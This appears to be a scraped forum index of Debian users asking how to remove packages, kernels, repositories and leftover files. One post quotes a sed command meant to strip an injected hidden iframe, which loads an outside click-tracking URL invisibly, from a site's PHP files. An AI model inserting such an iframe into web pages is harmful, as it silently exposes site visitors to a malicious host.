Debian :: Cannot Add / Remove Anything
Feb 10, 2011
I have been using Linux generally for a fair while (mainly in the form of Ubuntu on my desktop PC) but have recently got myself a VPS on which I am running Debian 5 (Lenny). Ubuntu is obviously good for its GUI, however Debian seems to be more appropriate for a server - which I hope to use to host a website, maybe even run an Asterisk phone system too!
The problem which keeps driving me mad is that I have had to re-build my VPS undoing all my hard work because of this stupid (unmet dependencies) problem which I cannot seem to work around.
When the VPS is freshly rebuilt the system is ok, but its after packaged have been updated (which has to be done at some stage).
The errors which have been driving me to insanity are as follows:
zoness:~# apt-get update
Get:1 http://security.debian.org lenny/updates Release.gpg [835B]
Get:2 http://security.debian.org lenny/updates Release [40.8kB]
Get:3 http://ftp.us.debian.org lenny Release.gpg [1033B]
[Code]....
View 2 Replies
ADVERTISEMENT
Mar 8, 2010
Does anyone know if I can successfully remove / delete the 'debian-sys-maint' account from MySQL? I noticed it there and appears to be something the Debian developers / maintainers of MySQL package added. I am guessing it's there to manage package updates and system maintenance as a back door of sorts. Anyone know if I can remove this account and not break the package or database?
[Code]...
View 2 Replies
View Related
Jul 30, 2013
I just installed ufw and made some rules :-
Code: Select all$ sudo ufw enable
$ sudo ufw default deny
$ sudo ufw allow 80,443/tcp
Now this gives the following :-
Code: Select allRule added
Rule added (v6)
Now is there anyway to tell it to NOT add the v6 rules (of course over time v6 will become the new standard and I'll have to upgrade my router and all) but till my ISP doesn't I just want to make it easy for myself.
I could install gufw and just take that rule out but wanted to know if there was a way to do that via CLI .
View 6 Replies
View Related
Jul 9, 2015
I want remove VIM and install VI , what I must do ?
View 13 Replies
View Related
Dec 6, 2015
How to remove libselinux1?
Remove/purge is not working.
And removing it by hand breaks all other bins on Debian (ls, find, reboot, halt, etc, literally everything).
View 2 Replies
View Related
Jan 29, 2010
How do I remove all of kde in one command except for the kde packages that I have installed before doing apt-get install kde?
View 14 Replies
View Related
Jun 6, 2010
I want to remove sudo so may existing user can only use su.But sudo is associated with dependence`s gnome and many more.How to remove damned thing Can i just remove sudo and then reinstall those 14 package`s, will this work ?
[18:21:47]madone~ $ sudo aptitude purge sudo gksu
Reading package lists... Done
Building dependency tree
[code]....
View 8 Replies
View Related
May 20, 2011
I'm running a Squeeze minimal install. I don't need exim4, which got installed with the base net-install (I think). So I did
#apt-get remove exim4
and it said it had done it. However, recently I noticed during bootup that there was a line that said "Starting MTA: exim4". Then, another time I did apt-get update and apt-get upgrade, and it wanted to upgrade three exim4 packages. So I thought "Hmm- exim4 must have come back." However, apt-get remove exim4 gets a "It ain't installed" (or words to that effect) response. "Find exim4" gets a list of about 40 files, including /usr/sbin/exim4, /usr/lib/exim4/ /usr/share/exim4, /etc/init.d/exim4, and a whole raft of config and man files. I've done apt-get purge exim4, and I'm now at my wits end- what on earth is going on? Can't apt-get do it? Might Aptitude (never used it) do it? (Don't have Synaptic installed- I try to keep as minmal as possible, it's an old machine.)
View 8 Replies
View Related
May 13, 2015
NFS means Network File System, right? If so, it is not needed for most users. I donot understand why those modules are started automatically in Jessie. How can i safely remove those module(s) ?
View 2 Replies
View Related
May 24, 2015
I've installed Debian 8 from the minimum CD. All is well. I'd like to compile PHP 5.6.9 from source. The current version installed on Debian is 5.6.7.I've attempted to remove 5.6.7 using
Code: Select allapt-get remove php
and
Code: Select allapt-get remove php5
to no avail. I've compiled PHP 5.6.9 from source on the machine, but php -v is still showing 5.6.7.I know this probably sounds silly, but I have this installed in a VM to mimic my clients server.How do I remove the current version of PHP on the system?
View 2 Replies
View Related
Feb 6, 2011
I have upgraded my server to Debian 6.0 Squeeze but it looks like some of my sites are not compatible with PHP 5.3.x so I would like to revert to previous 5.2.6 version.So my question is what to do?a) Remove PHP 5.3.x from system via apt-get and install my old 5.2.6 from old archives at /var/cache/apt/archivesb) just try to update from archives PHP to 5.2.6?
Code:
-rw-r--r--. 1 root root 2413316 May 11 2008 libapache2-mod-php5_5.2.0-8+etch11_i386.deb
-rw-r--r--. 1 root root 2413290 Oct 6 2008 libapache2-mod-php5_5.2.0-8+etch13_i386.deb
[code]....
View 1 Replies
View Related
Aug 17, 2011
I would like to remove openoffice.org from my Squeeze. I removed some portion of openoffice.org using following commands apt-get remove openoffice.org openoffice.org-calc openoffice.org-draw openoffice.org-impress openoffice.org-math openoffice.org-writer However the movement I put apt-get remove openoffice.org-base it says The following extra packages will be installed:
openoffice.org-base-core openoffice.org-core openoffice.org-filter-binfilter openoffice.org-gcj openoffice.org-gnome openoffice.org-gtk openoffice.org-java-common
openoffice.org-officebean python-uno
[code]....
And If i put all the openoffice.org packages to be removed it says it will install Gnumeric, abiword however I do not want it. I have downloaded libreoffice 3.4 and i want to install the same.
View 6 Replies
View Related
Feb 22, 2015
Not long ago I've switched from FreeBSD to Debian. As time passes, I install some packets, use them and forget to uninstall them. In FreeBSD there was a simple (dummy) way to keep only needed packets. Once in 6 months i just deleted all packages (pkg_delete -a) and then installed only those which i needed (xfce, xmms, gmplayer, etc). Is there a way to safely remove packets and their dependencies which i don't use anymore? May be there is a way to roll back to default desktop package collection?
View 14 Replies
View Related
Oct 16, 2015
Fresh Jessie installation with KDE desktop. Installed from Disk 1 of the dvd images. Can't figure why apt wants to remove this stuff. The only packages I removed from the base installation was iceweasel, and juk. I'd like to autoremove to clean out the amarok stuff but I'm afraid it will take all the rest with it. What do I do about this, and or how do I fix it? Does apt have a setting where if an app isn't used for x amount of time it deems it useless for removal?
Code: Select allCalculating upgrade...
The following packages were automatically installed and are no longer required:
 amarok-common amarok-utils apper apper-data ark cdparanoia cdrdao clamz dvd+rw-tools easy-rsa genisoimage growisofs gwenview htdig hyphen-en-us
 iputils-arping k3b k3b-data k3b-i18n kamera kate kcalc kdeplasma-addons kdesudo khelpcenter4 kio-audiocd kmix kopete kscreensaver ksnapshot libappstream1
Â
[code]....
View 3 Replies
View Related
Mar 29, 2016
I'm new to Debian, and there's something I don't understand about the packages marked as automatically installed. They are supposed to be removed by "apt-get autoremove" if no other packages depend on them, right? Well, I've installed xserver-xorg-video-ati which pulled *video-radeon, *video-r128 and *video-mach64. I later realised that I only needed *video-radeon, and got rid of xserver-xorg-video-ati and the other two. The thing is... xserver-xorg-video-radeon is still there, even if only xserver-xorg-video-ati and xserver-xorg-video-radeon-dbg depend on it, and neither are installed in my system.
Code: Select all$ apt list xserver-xorg-video*
Listing... Done
xserver-xorg-video-all/stable 1:7.7+7 amd64
xserver-xorg-video-ati/stable 1:7.5.0-1 amd64
xserver-xorg-video-ati-dbg/stable 1:7.5.0-1 amd64
[code]...
I obviously want to keep *video-radeon, but I'm just wondering, why does it not get removed when I run "apt-get autoremove"?
View 10 Replies
View Related
Sep 3, 2010
the computer, home and wastebasket launchers are on the desktop, i would like for them to leave but when i right click, move to wastebasket is greyed out, which is what google said,
View 2 Replies
View Related
Sep 9, 2010
the correct way to remove custom kernels? I was trying to install a driver and only got it half way right and I want to wipe the slate clean and try again.Here's the original:Debian GNU/Linux, kernel 2.6.26-2-amd64root(hd0,4)kernel/boot/vmlinuz-2.6.26-2-amd64 root=UUID=64dcc531-f5b0-47e8-99c4-abeecfab9353 ro quietinitrd/boot/initrd.img-2.6.26-2-amd64
View 2 Replies
View Related
Nov 19, 2010
I added the Liquorix repo to try out the spiffy kernel. It didn't boot so I uninstalled the kernel and went on my way. I'd like to get rid of the repo entry in Synaptic but when I click on "remove" nothing happens. The repo is oddly not in my sources.lst file.
View 1 Replies
View Related
Mar 5, 2011
I have logitech mx518 (mouse).Additional buttons did not work, so I googled a bit and tried different stuff. One of these is the package lomoco.I installed it via aptitude install and did not noticed any differences. So I tried to remove it with aptitude remove, but this seems not to have worked.The problem is, I get several warnings or error messages (or what ever) on startup about lomoco. So I would like to remove it completely.
View 2 Replies
View Related
Jan 10, 2016
I would like to remove a specific domU (test01--pv--guest) from my machine. I am not sure how far/to what extent to remove files. Here are the files and properties it seems I should remove:
lrwxrwxrwx 1 root root 10 Jan 9 11:05 /dev/disk/by-id/dm-name-xenvg-test01--pv--guest--disk -> ../../dm-3
lrwxrwxrwx 1 root root 10 Jan 9 01:03 /dev/disk/by-id/dm-name-xenvg-test01--pv--guest--swap -> ../../dm-2
lrwxrwxrwx 1 root root 7 Jan 9 11:05 /dev/mapper/xenvg-test01--pv--guest--disk -> ../dm-3
lrwxrwxrwx 1 root root 7 Jan 9 01:03 /dev/mapper/xenvg-test01--pv--guest--swap -> ../dm-2
lrwxrwxrwx 1 root root 7 Jan 9 11:05 /dev/xenvg/test01-pv-guest-disk -> ../dm-3
The above link to dm-2 and dm-3.
brw-rw---- 1 root disk 254, 0 Jan 9 01:03 /dev/dm-0
brw-rw---- 1 root disk 254, 1 Jan 9 01:03 /dev/dm-1
brw-rw---- 1 root disk 254, 2 Jan 9 01:03 /dev/dm-2
brw-rw---- 1 root disk 254, 3 Jan 9 11:05 /dev/dm-3
brw-rw---- 1 root disk 254, 4 Jan 9 01:03 /dev/dm-4
brw-rw---- 1 root disk 254, 5 Jan 9 01:03 /dev/dm-5
brw-rw---- 1 root disk 254, 6 Jan 9 01:03 /dev/dm-6
brw-rw---- 1 root disk 254, 7 Jan 9 01:03 /dev/dm-7
Will they be deleted automatically or should/can I remove them? How do I check the need for the other dm-? files? As indicated below, it seems like some may be duplicates.
I also found this set in /etc/lvm/archive/:
-rw------- 1 root root 2909 Oct 17 00:41 Relaise-vg_00000-1453251236.vg
-rw------- 1 root root 2929 Oct 24 22:08 Relaise-vg_00001-1530642081.vg
-rw------- 1 root root 2924 Oct 25 19:33 Relaise-vg_00002-328450675.vg
-rw------- 1 root root 2901 Oct 26 19:53 Relaise-vg_00003-1555350964.vg
-rw------- 1 root root 2902 Oct 26 19:53 Relaise-vg_00004-1044927704.vg
[Code] ....
Some of these seem like duplicates. This may be due to multiple attempts to build the volumes. Is there a way to determine if all of the are useful?
View 0 Replies
View Related
Oct 18, 2010
For some reason from a fresh installation on Debian (Squeeze), Apt is telling me I no longer need the 'make' package and I can remove it. I find this extremely odd & random given I just built this O.S. Why would Debian want to remove such a package and since this is a fresh installation, is there something I did wrong?
View 4 Replies
View Related
Jan 29, 2012
I installed Debian without desktop enviroment and then I aptitude installed fluxbox, everything worked fine, but I wanted to try LXDE so I purged fluxbox and installed LXDE.But my old computer is too slow now. I purged the LXDE, but it is still here and it didn`t remove as many packages as it installed them, I also removed lxde-core, but it continues to work.
How could I get back to non-desktop enviroment without reinstalling the whole system?
View 4 Replies
View Related
Mar 22, 2010
i have a lot off windows - thumbs.db files om my Debian Apache server.How to remove all (without define all directory's)Is there any way with RM?- or maybe some other smart solution to do it?
View 8 Replies
View Related
Aug 22, 2010
i'm trying all the time to use this (find,sed gnu,..etc) scrip to find and remove this string in all files *.php in wwwbackup/ directory. the script work without any error, but doesn't remove any thing!?
find /home/usr/wwwbackups/ -type f -name *.php -print0| xargs -0 sed 's#echo "<iframe src="http://internetcountercheck.com/?click=2255046" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>";##g' -i
how can i become this script working?
View 8 Replies
View Related
Sep 6, 2010
i am interested how to remove mono from my Debian Squeeze Gnome.
View 14 Replies
View Related
Jul 5, 2011
After some recent upgrade of my Debian Testing i386, on ThinkPad T400s, I am receiving panic message upon Safely Remove Drive.When I insert external HDD, it is automatically detected and the partitions mounted and works perfectly well. But when I "Safely Remove" the disk, Debian freezes and hangs. Nothing works (mouse or keyboard), and even X crashes and I get frozen terminal.I never experienced anything similar
View 4 Replies
View Related
Apr 23, 2015
Since I'm running Sid. Let's assume package foo has been upgraded via apt-get dist-upgrade, and it causes a serious bug so that Sid is never able to fully start up, and is not even able to get me to the console to remove the package.
(Reword: let's assume that I upgraded the system despite apt-listbug warning me that foo had serious issues.)
Is it possible for me to remove the package and get back in? Everything I've seen online assumes that I could at least access console--but this hypothetical bug doesn't allow that.
If it were in Arch, I would just boot from the live dist, arch-chroot into the / directory, and try to remove foo via pacman. But Debian doesn't offer a live disk past Stable, so I suspect that this wouldn't work with a Wheezy disk?
Am I asking for an impossible situation, or can a troublesome package be removed from an unresponsive Sid?
View 7 Replies
View Related
Apr 18, 2016
I am trying to remove the line from sourses.list file but nothing happens. I understand that need to block "" and "[" but nothing comes out.
Code: Select allsudo sed -i 's/^deb cdrom:[Debian GNU/Linux 8 _Jessie_ - Official Snapshot amd64 LIVE/INSTALL Binary 20160402-21:58]/ jessie main$/g' /etc/apt/sources.list
View 5 Replies
View Related
Feb 27, 2010
I would like to localize my system in Czech so I wanted to install all necessary packages. However, when I wanted to install dictionaries common and also myspell, it wanted to completely remove Openoffice. I have these repositories:
[URL]...
Someone told me that there is probably problem with versions and in repository is still only OOo 2.4 so it could be the reason. Is there any solution?
View 10 Replies
View Related
Apr 12, 2010
I have a a few questions about Testing's update manager. When I go to the update manager I get a message saying "Do you want to perform a safe-upgrade, which does not remove packages or install new ones"? Will my entire system ever eventually get upgraded if I only ever do safe-upgrades? Or is there a time and a place to do non-safe upgrades? I did a non-safe upgrade a few days ago and all it did was mess with a bunch of OpenOffice packages.
Why are only certain packages selected by default when doing a non safe upgrade? Why is it that whenever I do a non-safe upgrade when it's done applying the updates the same packages I just installed are listed as available updates? Also, I used this website to build my sources.list and there apparently is some sort of "fatal error" with one of the repositories I selected. Is there a text file somewhere I can go to see a readout of apt-get bug reports?
View 4 Replies
View Related